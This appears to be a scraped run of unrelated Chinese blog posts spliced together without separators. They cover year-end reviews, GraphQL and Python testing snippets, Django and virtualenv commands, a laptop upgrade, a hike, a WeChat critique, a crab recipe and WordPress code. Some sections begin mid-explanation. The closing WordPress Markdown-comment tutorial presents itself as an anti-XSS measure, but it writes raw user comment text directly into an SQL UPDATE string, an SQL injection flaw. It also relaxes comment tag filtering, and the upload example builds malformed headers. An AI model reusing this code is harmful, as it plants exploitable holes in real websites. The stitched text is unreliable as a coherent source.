/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload
/Users/bernat/Library/Python/3.7/lib/python/site-packages
/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages
/Users/bgabor8/Library/Python/3.7/lib/python/site-packages/pugs
├── __init__.py
├── __pycache__
│ ├── __init__.cpython-37.pyc
│ └── logic.cpython-37.pyc
└── logic.py
/Users/bgabor8/Library/Python/3.7/lib/python/site-packages/pugs-0.0.1.dist-info
├── INSTALLER
├── LICENSE.txt
├── METADATA
├── RECORD
├── WHEEL
├── top_level.txt
└── zip-safe
wheel
包。前两年的年终盘点一直写的是再见2018,再见2017,突然发现,很多事可以重来,唯独,时光一去不复返,所以今年盘点改成了再也不见2019。虽然有些许怆然,但岁月不正是如此吗?那些好的坏的、有的没的,都随着时间湮没在了过往。套用总书记的新年贺词:让我们只争朝夕,不负韶华,共同迎接2020年的到来!
flag去年已经没立了吧,因为前年的flag妥妥的在去年打脸。没立flag,就更懒散的更文了,所以简单盘点下2019的数据吧。博文连这一篇共计36篇,大概不到去年的一半,有几个月份都是0更新。评论71条。新注册本站的朋友有51位,其中只有18位朋友绑了手机号。访问量总计40W。大概就是这些把,实在不值一提。
2018年年中进入新公司,如今正好是一年半载。挂着项目经理头衔,干着细碎的杂活。到了2019年年中,组好了IT团队,一个标准的四人小组,一个设计师,一个前端工程师,一个后端工程师,外加我一个项目兼产品经理。论岗位经验,全是初出茅庐。论技术实力,全是半桶晃荡水。是四个臭皮匠顶个诸葛亮,还是四个魑魅魍魉也全然不好说。结果就是差不多我不在一线写代码了,上次和律师聊了蛮多,似乎我倒是真的发现我的职业方向了,有个懵懂的概念,以后再详细来说。
一年一度的体检,总结一下,三高得了两高,外加轻中度脂肪肝。体重70.6公斤,BMI指数23.6处于超重临界点。收缩压145毫米汞柱。总胆固醇6.88毫摩尔每升。甘油三酯2.29毫摩尔每升。轻中度脂肪肝,谷丙转氨酶50.4国际单位每升。总的来说比高峰时候要有好转,体重从75公斤降低到71公斤,重度脂肪肝转成轻中度脂肪肝,谷丙转氨酶从100多降到50几。但还是妥妥的亚健康状态,虽然吃的比以前更少了。2019年还遇到一桩和健康有关的事,一发小同学,在2019年猝死了,今年也才不过35岁,唏嘘不已。
2020年虚岁36了,按照老家做寿的传统,一般从出生开始,三朝,周岁,十六,三十六,六十九,七十九,八十九,九十九这样的做法。正常应该是正月间要办个三十六的寿宴,当然我同我爱人同年,所以我们一致认为还是不要办了,兴师动众,扰人烦忧!寿宴可以不办,但这年岁是真真的来了,人至中年,上有几老,下有一小,鸭不鸭梨也就管中窥豹可见一斑了。
那啥,萝卜要一截一截吃,日子要一天一天过,啥也不说了,祝广大朋友2020更上一层楼!
当我们需要用 GraphQL 查询多层套嵌的数据,比如像 WordPress 这样套嵌的评论信息时,通常的写法是:
{
posts(first: 100) {
nodes {
id
title
comments {
nodes {
...CommentFields
replies: children {
nodes {
...CommentFields
replies: children {
nodes {
...CommentFields
replies: children {
nodes {
...CommentFields
replies: children {
nodes {
...CommentFields
}
}
}
}
}
}
}
}
}
}
}
}
}
fragment CommentFields on Comment {
id
date
type
approved
content
}
以上的写法只实现了四层套嵌评论的查询,很麻烦对不对?这或许是 GraphQL 的缺陷,但这也或许正体现了 GraphQL 的设计理念——所得即所查。
找了一下,没有现成的轮子,就自己写一个套嵌实现吧(注意 graphql 查询语句要顶头写,多余的缩进会影响递归结果):
import ApolloClient from 'apollo-boost'
import gql from 'graphql-tag'
class getPostCommentByPostId {
private postId: number
private MaxChildrenLevel: number
private data: any
/**
* @param {number} postId wordpress post id
* @param {number} MaxChildrenLevel post threaded (nested) comments levels deep (/wp-admin/options-discussion.php)
*/
public constructor(postId: number, MaxChildrenLevel) {
this.postId = postId
this.MaxChildrenLevel = MaxChildrenLevel
}
// 处理递归部分
private queryChildren() {
let queryHeader: string = ``
let queryFooter: string = ``
// 迭代之前的内容
const childrenHeader: string = `
children {
nodes {
...CommentFields`
// 迭代之后的内容
const childrenFooter: string = `
}
}`
// 处理每行前的空格
let addTabs = function (str: string, n: number) {
return str.replace(/^/gm, ' '.repeat(n)) // 注意我用的是两格缩进,四格缩进请自行调整
}
for (let i = 0; i < this.MaxChildrenLevel; i++) {
queryHeader = addTabs(childrenHeader + queryHeader, 2)
queryFooter = addTabs(queryFooter + childrenFooter, 2)
}
return addTabs(queryHeader + queryFooter, 2)
}
// 查询部分
private query() {
const client: ApolloClient = new ApolloClient()
client.query({
query: gql`
query GET_POST($postId: Int) {
postBy(postId: $postId) {
id
postId
title
date
uri
content
}
comments {
edges {
node {
...CommentFields${this.queryChildren()}
}
}
}
}
fragment CommentFields on Comment {
date
agent
content(format: RENDERED)
commentId
author {
... on CommentAuthor {
email
name
url
}
}
authorIp
}
`,
variables: {
"postId": this.postId
},
})
.then(data => console.log(data))
.catch(error => console.log(error))
}
}
The post GraphQL 实现递归查询 appeared first on 樱花庄的白猫.
2019 年马上就要过去了,简单总结一下在年初立下的几个 flag:健身和看书。
健身
其实对于我来说,对健身没有什么兴趣,只是身不由己,不运动运动,确实能感觉出来身体状态差, 可能就是广告里说的亚健康吧,比如:后腰可能偶尔会肌肉酸麻。
保持健身确实对整个人的身体状况,包括精神状态都有很大的改进,感觉走路都挺得更直了。
年初装了 keep app,发现功能比咕咚更多一些,所以就一直在用,也给 keep app 反馈了一些 bug,功能建议, 当然,很多都没有被采纳,哈哈。
我在 keep 上主要是跑步和做一些在家阳台上铺上垫子就能做的运动,例如:俯卧撑,仰卧起坐之类的,再平民不过了。
先说说跑步吧,从 5 月份开始(开始的猛然醒悟,原来往年的跑步时间只有六个月),今年跑到了 11 月份, 七个月一共跑了 261 公里,平均每个月不到 40 公里。通常是每周跑 2-3 次,下班后在家附近跑步,跑完回去早的时候十点半,晚的时候就十一点半; 偶尔十一点回去的时候,路上还能看到上了年纪的工人在修路,勤劳确实是中国人的美德,当你发现平常跑步的塑胶跑道被挖开埋了管子之后, 某一天早上去上班,发现居然都铺好了,还是非常惊讶的。
看看《美国工厂》,和美国工人对比一下,中国人的建设速度也就能理解了。
通常跑完步之后在 keep 上做做放松运动,然后做 20 个俯卧撑,北京的 11 月跑步还是很容易着凉的,特别是头发全湿了的话,哈哈, 12 月份就没有跑了,来年希望从 3 月份开始跑步,这样一年就能有 9 个月在跑步了,那么 2020 年的跑步目标就定 350 公里好了。
看书
之前在饭桌上听到说某某某一年要看一百本书,当时还非常诧异,时间真多,平均不到 4 天一本。其实,时间大家都是有的,如果在通勤地铁上, 不刷手机,而是看书,睡觉前少刷手机,而是看书。还是有可能的。当然,2019 年我并没有看完 100 本书。
到目前为止,我看完了 55 本书,离当初订的目标 60 本还差一些,不过按照 OKR 的得分,其实也已经超过 9 分了,说明目标还不够有野心。
我通常在手机上用 kindle app 看书,然后在公司里看纸质书,每天早上 9 点之前看书半小时,养成习惯还好,因为以前总是习惯性的到了公司就开始办公。
下面是我觉得比较好的一些书:
历史类
CEO 推荐类
难得 CEO 给大家推荐了几本书,随即去买来看了看。
政治经济类
另外还看了一些刘慈欣大大和其它作家的科幻小说,感受了下中国科幻,还看了好些鸡汤书(《月亮与六便士》,《一个人的朝圣》等),教做人的,教赚钱的。
希望 2020 看书 40 本,之所以比 2019 少,可能是明年不打算看一些小说。
纪录片
今年看了 12 部纪录片,一共 46 集,然后终于发现了一个看片神器:倍速播放。虽然没有量子波动看书那么快,稍微还是能节省一些时间,通常用 1.25x,1.5x 倍速播放。
看了 《大国崛起》纪录片,开始有一些误会,没看之前一直以为是一步自夸的纪录片,所以一直刻意不去看,然后才发现原来是讲历史上的大国,还是非常不错的。 《地球脉动》纪录片真不错,地球真是太神奇了;看了《习近平治国方略》,但是感觉制作比较水;看了《罗马帝国》结合《文明的故事》一起看,东西方的文化差异还是非常巨大的。 看了《太空竞赛》,感叹最近几十年人类都在啃老,没有什么新的进展,能数得上的成果基本上都是冷战期间,或者冷战期间立项之后的遗产。
其它的纪录片就不一一列举了,希望 2020 年能看 100 集纪录片。
它们是如何做到把一个方法变成多个方法,并且将每个方法与相应的参数绑定起来的呢?
# 带有一个方法的测试类
class TestClass:
def test_func(self):
pass
# 使用装饰器,生成多个类方法
class TestClass:
def test_func1(self):
pass
def test_func2(self):
pass
def test_func3(self):
pass
import unittest
from ddt import ddt,data,unpack
@ddt
class MyTest(unittest.TestCase):
@data((3, 1), (-1, 0), (1.2, 1.0))
@unpack
def test(self, first, second):
pass
# ddt 版本(win):1.2.1
def data(*values):
global index_len
index_len = len(str(len(values)))
return idata(values)
def idata(iterable):
def wrapper(func):
setattr(func, DATA_ATTR, iterable)
return func
return wrapper
def unpack(func):
setattr(func, UNPACK_ATTR, True)
return func
def file_data(value):
def wrapper(func):
setattr(func, FILE_ATTR, value)
return func
return wrapper
import unittest
from parameterized import parameterized
class MyTest(unittest.TestCase):
@parameterized.expand([(3,1), (-1,0), (1.5,1.0)])
def test_values(self, first, second):
self.assertTrue(first > second)
A “brute force” method of parameterizing test cases. Creates new test cases and injects them into the namespace that the wrapped function is being defined in. Useful for parameterizing tests in subclasses of ‘UnitTest’, where Nose test generators don’t work.
inspect
是个功能强大的标准库,在此用于获取程序调用栈的信息。前三句代码的目的是取出 f_locals,它的含义是“local namespace seen by this frame”,此处 f_locals 指的就是类的局部命名空间。import pytest
@pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
def test_values(first, second):
assert(first > second)
Django诞生于2003年秋天,2005年发布正式版本,由Simon和Andrian开发。Django这套框架以实现快速开发目的,因此Django生来就是为了节省开发者时间的。Django发展至今,被许许多多国内外的开发者使用,已经成为web开发者的首选框架。
django-admin startproject [项目名称]
python manage.py startapp [app名称]
1、默认方式
python manage.py runserver
2、自定义端口方式
python manage.py runserver [端口号]
3、部署方式:
python manage.py runserver 0.0.0.0:8000
python manage.py help
python目前比较知名的虚拟环境有virtualenv、virtualenvwrapper、venv等。virtualenvwrapper是virtualenv基础上做的优化。本文作为学习笔记,记录下virtualenv、virtualenvwrapper安装过程和使用方法。
virtualenv是用来创建虚拟环境的软件,使用pip命令安装,如果电脑上同时安装了python2和python3,请在pip命令后面加个3用于区分(pip3)。
pip install virtualenv
virtualenv [虚拟环境名称]
1、windows进入虚拟环境:进入到虚拟环境的Scripts文件夹中,然后执行activate。
2、*nix进入虚拟环境:source /path/to/virtualenv/bin/activate。
deactivate
virtualenvwrapper软件包可以让虚拟环境管理更加简单。
1、windows:
pip install virtualenvwrapper-win
2、*nix:
pip install virtualenvwrapper
mkvirtualenv [虚拟环境名称]
workon [虚拟环境名称]
deactivate
rmvirtualenv [虚拟环境名称]
lsvirtualenv
在环境变量中添加系统变量。变量名为WORKON_HOME,变量值为你要使用的路径
那天在车间调试数据大屏,碰到生产部经理,正好聊了两句,转头就问我他一台电脑慢的要死,能不能升级,还没等我说话,生产助理就帮我把这事给答应下来了。回头让他把电脑拿给我看下,也没敢承诺一定能升级,就说拆了看看先。等拿到手的时候发现是一个联想的本子,分量很轻,感觉就像是个轻薄本似的,和我自己之前升级的那个华硕N53S兼职就是相扑选手和世界小姐的体格差距。
看下笔记本的型号
拿到手先拆机,这个后盖拆起来简单,一顿螺丝拧完。然后把伪光驱给拉出来,然后光驱的上沿有三颗螺丝,拆掉,用撬棒就能把整个后盖给拆了。
这里是伪光驱拉出后的三颗螺丝。
拆完就能看到整个主板面了,呀哈,这个联想大坑货,不用真光驱,弄个壳在这里,接口都有,还不错,起码能装个固态硬盘了。红框处就是插光驱的SATA的接口和供电口。
检查下内存,一般笔记本的内存规格会印在塑料支架上的,看这个很明显DDR3 1.5V的内存。查下内存看下反面的规格,不对呀,这泥煤的PC3L是个低电压版啊,不是1.5V的,是1.35V的,这联想到底是什么鬼?
拆完心里就有数了,后盖螺丝如数装回,于是答复同事,电脑可以升级,确定要不要升,给个明确的答复我就去买配件了。
原电脑有一个500G的固态硬盘,同事不知道我是加装以为是换掉原硬盘,还问我这个固态要多大的,我说240吧足够了,100G装系统,140G装软件。选择配件的时期就更容易了一些,万能淘宝啥买不到。基于上次我自己升级的那个TOSHIBA的TR200。还是原来的配方,还是原来的味道。某宝链接在这里,某东链接在这里。有需要的可以看看。并且巧的是原电脑自带的机械硬盘也是东芝的。
电脑原光驱位置的SATA供电接口是小口,不是标准口,即便是标准口位置也是靠近机械硬盘一次的,所以淘宝就找了一下转接口,这个玩意很简单,万能华强北什么造不出来。就不多说了,直接给个链接算了,点这里点这里。
原电脑是一根1.35V的DDR3的4G三星内存。现在带个系统带点负载4G真的够呛,8G够用,所以升级遵从够用和寿命的原则,升级一个8G内存条就好。然后这个电脑不像我的N53S,它没有两根内存槽,不能增加4G,只能把原4G的内存替换掉。所以下单找了一个1.35V的DDR3的8G条子,我担心联想的工艺,怕兼容不好,所以仍旧选择了一款三星的内存条。就图中这款。某宝购买链接可以点这里,某东购买链接可以点这里。
配件到手,就是安装了,再次拆开后盖。装内存我就不说了,so easy。拍几个图看下固态硬盘的安装吧,首先是将转接头在电脑上比划一下看看,然后将它固定到原电脑的伪光驱支架上,磨具开孔都是开好的,找到两个定位孔,卡上就行,原本想打点热熔胶固定一下的,然后我把固态硬盘装上,底部四颗螺丝装上后纹丝不动,就懒得去打热熔胶了。直接看下面这几张图吧。
最后开机引导启动装系统,分区的时候我把C盘多分了一点,D盘少了一点,因为对于我同事他们来说装软件都是直接下一步的,大概率是装到C盘了。好了,升级教程结束。然后我发现这个屏也是1366*768的分辨率,似乎也能换高清屏。同事没要求就算了。
上海有山,并且不止一座,佘山因天文台而享誉神州,佘山所在的松江,是为地道的上海。因地质结构的关系,松江境内群峰蜿蜒,有九峰十二山之称。有大家熟知的佘山(西佘山,东佘山),另有小昆山,凤凰山,辰山,薛山,机山,横山,厍公山,钟贾山,北竿山和本文主角天马山。当然群山都不高,海拔均不超过100米,其中天马山主峰最高,海拔99.8米,为上海陆地最高峰。(一说数据已经变为西佘山最高,估计是佘山名头更大吧)。
每次从办公地回公司,经佘天昆公路走在天马山的脚下,也不曾憩息片刻登上山峦去近观那无数次出现在眼底的斜塔。初冬的周末,没有霾尘,气温尚可,一家人外出走走,就直奔天马山了。
沿佘天昆公路往西,很快就到了天马山脚下,山脚有集镇天马镇,镇以山名(因行政区划调整,现天马镇被并入佘山镇了)。天马山西大门口有片空地作为停车场。路边,十多级台阶上来就是山门。原以为是免费的,毕竟东西佘山也不收费嘛,没想到这里竟然收门票10元一人。天马山上的树林是典型的江南丘陵上的混交林形式,品种繁杂。以栎,樟,青冈,银杏及杉木,松木等树种为主,灌木又多于枸骨、杜鹃、南烛。深秋初冬的时节,不见于北方那漫山红叶的的璀璨,而是一片翠绿当中多了些斑斓。脚下的石阶,不是那一淌平的石板,而是块状石片立着嵌入地下,走在上面还似有些硌脚。
不稍百步,便见得一牌门,门内三两人之外,一座砖灰色的古塔引入眼帘,但眼看上去有些古怪,与牌门作为参照,竟然有些歪了。这即那护珠塔了。护珠塔建于北宋年间,也称护珠宝光塔。据记载宋高宗赐五色佛舍利藏于塔顶。是夜,塔顶放光一如佛光,得名护珠宝光塔。原塔为砖木结构的七宝玲珑塔,并有一座香火旺盛的寺院。清乾隆年间失火,庙宇不在,塔身木结构也被焚毁,只剩下砖石结构的内塔。
走近宝塔,发现塔基一侧缺了很大一块,相传后人将塔砖拆了回去砌墙,导致塔脚被毁了一角。另说有人在塔基挖到钱币和宝物导致塔脚被毁。最终就是如此这般观景。塔身倾斜由来已久,改革开放后80年代勘察发现塔身倾斜已较为严重,在87年完成了一次对古塔的加固。15年又对外立面做了一次修缮。目前塔身倾角7.10度,比之罗马的比萨斜塔更为倾斜,有中国比萨的美誉。
从牌门方向转到塔后,有一株700年树龄的银杏,相传为当年建塔的招抚使周文达亲手所植,树体也是饱经风霜,有中空,雷劈等痕迹。目前也进行了人为加固。宝塔和银杏之间有一眼泉眼,叫濯月泉,如今只见泉眼不见泉了。
穿过后门,顺着山道继续拾级而上,越过山冈,顺势而下,迎面,是天马山的东麓,山上是另一处景点三高士墓。三高士,指元朝末年杨维桢、陆居仁、钱惟善三位著名大家。其中杨维桢号铁笛道人,精通诗词音律,元末诗词的领袖人物。陆居仁号瑁湖居士,擅诗词,书法见长。钱惟善号心白道人,他乃吴越王钱镠的后人,工于诗文,擅医道。三人元末从仕,皆因不随官场腐败,隐居山中。明朱元璋三请出山均不为所动,死后埋葬于此,后世华敬仰他们淡泊名利,由华亭县知县为其立碑铭志。后世诗歌有吟:寂寂干山麓,萧萧高士坟。清风吹绿竹,峻节媲三君。
下得东麓,绕山而行,一侧是壁立悬崖,翠竹万竿,一侧苍山顽石,林木交错。山间的青石道有几许起伏,有一二人从身边奔跑而过。天马山也是众多越野跑爱好者的营地。待我们下得山来,已是霞光晚照。
unittest
自身不支持参数化测试,为了解决这个问题,有人专门开发了两个库:一个是ddt
,一个是parameterized
。import unittest
from ddt import ddt,data,unpack
@ddt
class MyTest(unittest.TestCase):
@data((3, 1), (-1, 0), (1.2, 1.0))
@unpack
def test_values(self, first, second):
self.assertTrue(first > second)
unittest.main(verbosity=2)
test_values_1__3__1_ (__main__.MyTest) ... ok
test_values_2___1__0_ (__main__.MyTest) ... FAIL
test_values_3__1_2__1_0_ (__main__.MyTest) ... ok
==================================================
FAIL: test_values_2___1__0_ (__main__.MyTest)
--------------------------------------------------
Traceback (most recent call last):
File "C:\Python36\lib\site-packages\ddt.py", line 145, in wrapper
return func(self, *args, **kwargs)
File "C:/Users/pythoncat/PycharmProjects/study/testparam.py", line 9, in test_values
self.assertTrue(first > second)
AssertionError: False is not true
----------------------------------------------
Ran 3 tests in 0.001s
FAILED (failures=1)
import unittest
from parameterized import parameterized
class MyTest(unittest.TestCase):
@parameterized.expand([(3,1), (-1,0), (1.5,1.0)])
def test_values(self, first, second):
self.assertTrue(first > second)
unittest.main(verbosity=2)
test_values_0 (__main__.MyTest) ... ok
test_values_1 (__main__.MyTest) ... FAIL
test_values_2 (__main__.MyTest) ... ok
=========================================
FAIL: test_values_1 (__main__.MyTest)
-----------------------------------------
Traceback (most recent call last):
File "C:\Python36\lib\site-packages\parameterized\parameterized.py", line 518, in standalone_func
return func(*(a + p.args), **p.kwargs)
File "C:/Users/pythoncat/PycharmProjects/study/testparam.py", line 7, in test_values
self.assertTrue(first > second)
AssertionError: False is not true
----------------------------------------
Ran 3 tests in 0.000s
FAILED (failures=1)
nose
以及新生的nose2
。nose 系框架是带了插件(plugins)的 unittest,以上的用法是相通的。import unittest
from nose2.tools import params
@params(1, 2, 3)
def test_nums(num):
assert num < 4
class Test(unittest.TestCase):
@params((1, 2), (2, 3), (4, 5))
def test_less_than(self, a, b):
assert a < b
import pytest
@pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
def test_values(first, second):
assert(first > second)
==================== test session starts ====================
platform win32 -- Python 3.6.1, pytest-5.3.1, py-1.8.0, pluggy-0.13.1
rootdir: C:\Users\pythoncat\PycharmProjects\study collected 3 items
testparam.py .F
testparam.py:3 (test_values[-1-0])
first = -1, second = 0
@pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
def test_values(first, second):
> assert(first > second)
E assert -1 > 0
testparam.py:6: AssertionError
. [100%]
========================= FAILURES ==========================
_________________________ test_values[-1-0] _________________________
first = -1, second = 0
@pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
def test_values(first, second):
> assert(first > second)
E assert -1 > 0
testparam.py:6: AssertionError
===================== 1 failed, 2 passed in 0.08s =====================
Process finished with exit code 0
不只一次遇到别人惊讶:“你居然没用微信!” 作为一名学生,虽然我对QQ的一些方面也不大满意,但我觉得QQ已经满足我所有的需求了,我非常不想在我的手机上安装两个功能重叠的app,但碍于一些原因,我也不得不在手机上安装一个微信,但每次打开微信时各种订阅号、公众号推送让我很是心烦。屏蔽吧怕错过一些重要消息,不屏蔽吧待处理消息分分钟99+。我的家长亲戚中很多人都用微信,在得知我居然在用QQ,他们都会诧异道:“什么年代了,你居然还在用QQ!” 也许我就是那个落后于潮流前沿的人吧
我常用的IM和IRC软件为:QQ > Telegram > yaaic/HexChat > 微信。QQ的功能十分完善,但也有不少臃肿的东西,比如会员,Q钻什么的,这点不如微信;至于Telegram,就不用多说,详见这篇文章和这篇文章;相较于IM软件,IRC软件就比较简陋,但作为聊天来使用却是十分合适,没有太多无用信息刷屏,操作方式带有极客范儿,不过由于年代久远,服务器数目已经大不如前,目前我主要在freenode的服务器上。微信的话,我将在接下来提到。
理念
在微信之前的时代,网民们的网络身份通常是电子邮件地址。而微信的出现,改变了这一点:把手机号以做成了第一身份认证手段。把手机号做成了凌驾于身份证之上的认证手段。这与一些要求手机号绑定但手机号并非第一认证手段的app,是不相同的。我第一个微信号时在初中时创建的,当时的注册方式是一张未实名的移动卡,在手机掉了之后,那个微信号就随之消失了,也不知道被谁注册到了那个手机号,然后再通过手机号登上了我的微信 。虽然我非常不喜欢这种通过手机号认证的方式,奈何有几个常用的App无法舍弃,只得老老实实去用手机号注册。现在用的微信号是我初二的时候通过关联QQ号注册得到的,那时候的微信有个很方便的功能:收发QQ消息。为了尝鲜,我使用了一段时间,然而有一天,点击接收的QQ消息后,它却告诉我不再支持此功能了(???黑人问号脸),把QQ用户骗到这里来,然后就不管了??
啥也干不了的PC端
使用过PC端微信的人,都会遇到一个蛋疼的问题:扫码登录。不知道微信的策划是怎么想的,难道怕用户记不住密码吗 ,之后还有“密码不如扫码安全”的逻辑,对此,我敢苟同。只能说各有各的好处,但并没有直接证据可证明扫码比密码安全,只能说这是一个很蛋疼的设计。受此荼毒,企业邮箱现在也是扫码登录,所以,我选择迁移到了Yandex。此外,微信的PC端功能很少,许多操作只能在手机上完成,就连红包功能也是最近才加入PC端的。
辣鸡的相册
微信的Android端在选取图片时,并没有调用系统相册,反而是自己造了个轮子,关键是还不如系统自带的相册好用,反而多出来一大堆预览图缓存,占用手机的存储空间
备份麻烦的聊天记录
腾讯微信官方一直不提供导出聊天记录到CSV或TXT文件的功能,用户的数据安全无法得到保障。即使其表明用户聊天数据点对点加密服务器不留底不储存,所以聊天记录只能保存在双方设备上,然而由于聊到敏感话题被封禁甚至被拘留这种新闻屡屡可见,那么问题来了,证据是从哪收集到的 我想说:既然立了牌坊就别去当**
不成熟的群聊
QQ群在功能上碾压微信群聊——发公告发通知,永久保存群文件,传文档,下表格,共享资源,回复功能,压缩包,管理员组织能力,碾压微信。更别说QQ还自带邮箱和网盘了。 至于QQ空间的日志相册评论转发等多媒体功能更是碾压微信朋友圈。
烂大街的公众号
开通公众号门槛极低,所以导致了一大堆辣鸡公众号天天发一些震惊、养生、鸡汤,也不管信息可信,只管发,为了引入流量,真什么都敢写...如果你加了长辈群,那么群里一定充斥着震惊养生造谣鸡汤等等,我本人特讨厌鸡汤还有那种没什么质量的短视频,长辈们居然觉得很不错。
以上所述即为我不用微信的几个理由,但世事无绝对,我只能说在现在的情况,因为谁也不能保证未来一切尽在掌握,也许有一天微信填补了它所有的缺陷,也许有一天我因为特殊原因不得不24小时开着微信......
近年来移动端发展迅速,社交软件中微信可以说是首当其冲了(简陋的电脑端、必须扫码、文件大小限制等),似乎微信设计之初就没有将PC端作为其主要战场,而是将这片土地留给了它的兄弟QQ,但是它在移动端领域却是有取代QQ之势,反观手机QQ却一直没有碰微信的市场的意思,虽然推出了办公使用的Tim(一年没更新了),但没有触及到微信的核心利益,QQ、微信各有不可替代的作用和定位,作为同一家公司的软件,我想,如果要将功能都做得相同在技术上很容易实现,但这样结果必定不会好。毕竟,利益最大化才是问题关键。
For several reasons I don't want to use curl
, and I have known that WordPress has methods for HTTP request, so I choose wp_remote_post()
, which allows you to send an HTTP post request, and return an array. Here's the code example:
<?php
$upload_url = "URL_YOUR_UPLOAD_FILE_TO";
$local_file = "PATH/TO/FILE";
$filename = basename($local_file);
$name = $local_file; //name of Form Control
$Boundary = wp_generate_password(); //split signal, see: https://www.ietf.org/rfc/rfc1867.txt
$bits = file_get_contents($local_file);
$args = array(
"headers" => "Content-Type: multipart/form-data; boundary=$Boundary\r\n\r\nAuthorization: Basic $client_id\r\n\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97",
"body" => "--$Boundary\r\nContent-Disposition: form-data; name=\"$name\"; filename=\"$filename\"\r\n\r\n$bits\r\n\r\n--$Boundary--"
);
$response = wp_remote_post($upload_url, $args);
if (!is_wp_error($response)) {
$reply = $response["body"]; //the remote server's reply
var_dump($reply);
}
?>
reference: https://www.jianshu.com/p/29e38bcc8a1d
嗯,昨天貌似是个好日子,11月19日,这个新版博客上线2周年了,断更两月有余,也许大概自认为很忙,博客也就长了草了,至于忙些什么,鬼知道呢,反正浑浑噩噩一天就没了,晃晃悠悠一月又没了,只感叹这下半年的日子太短,时间太快。话说上次前同事兼朋友来松江耍已有月余,吃的“阳澄湖”的大闸蟹,着实没过瘾,一直嚷嚷着要来只帝王蟹。这不这周大家都有空,嫌我四两的大闸蟹太小,就定了只四斤的帝王蟹考验我的手艺。
平生还真第一次下厨做这玩意儿,百度了一下也没合适的教程,大部分都是清蒸完事。偶然看到一个用蟹壳蒸蛋的有点惊喜。好吧,没教程那就考研我的家常做法。既然蟹壳蒸蛋,那势必蟹壳蟹身要分开,蟹腿又是出肉大户,那就一蟹三烧。做之前,先把帝王蟹清洗干净,用牙刷将关节肚脐等处刷刷干净,记得带橡胶手套,这玩意儿扎手。清洗完成以后,将整只蟹蒸熟,上汽后蒸个五到八分钟就OK了。
将蒸熟的帝王蟹,整个后盖打开,清理边缘的蟹肉和壳内的黑皮。然后倒放在盘子中。注意看下蟹壳是否有破洞,如果有破洞可以弄些面粉沾水后堵上洞口,我这个就是没注意,导致后面的蛋液全流到盘子里了。准备三个土鸡蛋,加盐打匀,加点温开水,然后倒入蟹壳中,再剥一个蟹腿,将蟹腿肉剁碎放入蛋液中,然后来点蒜叶。最后放蒸锅,上汽后也蒸八分钟左右,就可以出锅了。我这个蛋液因为从蟹壳中漏了,否则成品应该更好看些。
(图片为失败作品,仅供参考)
第一步,将蟹腿全部从关节处剪下来,然后从侧面剪开,去掉上半部分的壳,摆盘放好。第二步,炸蒜蓉,将蒜头切成碎末,记住,不能用捣蒜器捣烂,一定要用刀切。然后锅中放油,多倒一些,烧热,将一半蒜末放入锅中煸炒,放入一两个切碎的小米辣和切碎的嫩姜末,加蚝油,盐。炒至蒜末金黄色。然后关火,将另外一半蒜末倒入锅中,拌匀。成品就是金银蒜蓉。将蒜蓉倒到蟹腿上抹匀,撒上葱花,锅中再次放油,油开后淋到蒜蓉上,菜成。
(葱花这么大很显然不是我的刀工)
蟹身部分,去掉腮和胃。从中间一分为二,然后从蟹腿之间的间隙剪开,最终将蟹身剪成块。红烧就简单了,下油,下姜蒜爆香,下蟹肉,大火爆炒,倒料酒,爆炒,来点水,下盐,蚝油,豆瓣酱,剁椒,大火翻炒,最后生抽鸡精起锅。(忘了拍照,渣渣手机,不拍也罢)
总结一下,一只四斤帝王蟹,有点大,食量不是很大的,最好有四五个人分享,一蟹三烧,蟹壳蒸蛋吃的是嫩,蒜蓉蟹腿吃的是鲜,红烧蟹肉吃的是味。蟹壳蒸蛋,注意看些蟹壳有没有破,蒜蓉蟹腿,蒜末炒一半留一半。红烧蟹肉主要是火候和调味的功底要到家。
之前有过一篇记一次小站评论功能的修改,目的是为了防止xss攻击,当时我使用的评论 Markdown 解析器是 WP-Editor.md 插件,最近更新WP发现插件有冲突,遂禁用了它,换用代码实现,如果你和我一样使用的是同一款主题的话,commit 已提交,快去更新吧~
原理很简单,与 WP-Editor.md 类似,在评论提交时,首先检查评论的合法性,再将评论转换为 HTML 并写入数据库,同时,原 Markdown 评论也储存进数据库,为了这样,我在 wp_comments
里增加了一个字段 comment_markdown
,在读取评论打印的时候,直接显示转换好的html,这样做有个好处就是不用每次都转换评论,节省了不少资源,同时,原格式的评论有一个存档,虽然增加了数据库的一点点体积,但我认为不错。
用到了下面这个程序
到这里下载源码,我们所需要的是压缩包里面的 Parsedown.php
,将它放入主题目录的任一位置
在 functions.php
里面引入它:
...
include path/to/Parsedown.php
...
之后,就可以在想要使用的地方像下面这样来使用啦~
$Parsedown = new Parsedown();
echo $Parsedown->text('Hello _Parsedown_!'); # prints: <p>Hello <em>Parsedown</em>!</p>
使用WP的 preprocess_comment
在评论写入数据库之前拦截它
function markdown_parser($incoming_comment) {
global $comment_markdown_content;
$comment_markdown_content = $incoming_comment['comment_content'];
include 'path/to/Parsedown.php';
$Parsedown = new Parsedown();
$incoming_comment['comment_content'] = $Parsedown->text($incoming_comment['comment_content']);
return $incoming_comment;
}
add_filter('preprocess_comment' , 'markdown_parser');
原评论也很重要,因为kses的关系,部分评论可能会被转义,这时候就需要原评论啦~
global $wpdb;
$myCustomer = $wpdb->get_row("SELECT * FROM wp_comments");
if (!isset($myCustomer->comment_markdown)) {
$wpdb->query("ALTER TABLE wp_comments ADD comment_markdown text NOT NULL AFTER comment_content");
}
在之前我定义了一个全局变量 $comment_markdown_content
,现在就要用到它啦,do_action("comment_post")
,写入数据库立即触发
//保存Markdown评论
function save_markdown_comment($comment_ID, $comment_approved) {
global $wpdb,$comment_markdown_content;
$comment = get_comment($comment_ID);
$comment_content = $comment_markdown_content;
$wpdb->query("UPDATE wp_comments SET comment_markdown='".$comment_content."' WHERE comment_ID='".$comment_ID."';");
}
add_action('comment_post', 'save_markdown_comment', 10, 2);
为了安全,除管理员外wp的评论都会经过kese,甚至有时候管理员的评论也会过滤,这就需要我们来打开这个限制
function allow_more_tag_in_comment() {
global $allowedtags;
$allowedtags['pre'] = array('class'=>array());
$allowedtags['code'] = array('class'=>array());
